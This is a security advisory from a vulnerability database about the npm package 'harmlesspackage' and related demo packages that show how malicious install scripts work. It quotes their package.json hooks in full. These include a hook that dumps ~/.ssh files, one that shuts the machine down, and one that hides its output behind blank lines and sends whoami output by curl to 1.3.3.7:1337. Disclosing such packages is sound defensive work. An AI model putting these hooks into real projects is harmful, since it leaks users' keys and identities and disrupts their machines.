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Malicious Package Affecting harmlesspackage package, versions *

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature

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  • Snyk ID npm:harmlesspackage:20170917
  • published 17 Sep 2017
  • disclosed 8 Aug 2017
  • credit Jordan Wright
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Introduced: 8 Aug 2017

Malicious CVE NOT AVAILABLE CWE-506 Open this link in a new tab

How to fix?

Avoid usage of this package altogether.

Overview

harmlesspackage is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

The list of packages and their scripts are:

{
  "name": "maybemaliciouspackage",
  "scripts": {
    "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
  }
},
{
  "name": "deasyncp",
  "scripts": {
    "preinstall": "say U WOT M8; shutdown -s now"
  }
},
{
  "name": "harmlesspackage",
  "scripts": {
    "postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH         keys :)' && curl -X GET http://1.3.3.7:1337/\\?$(whoami)"
  }
},
{
  "name": "npm-exploit",
  "scripts": {
    "install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
  }
}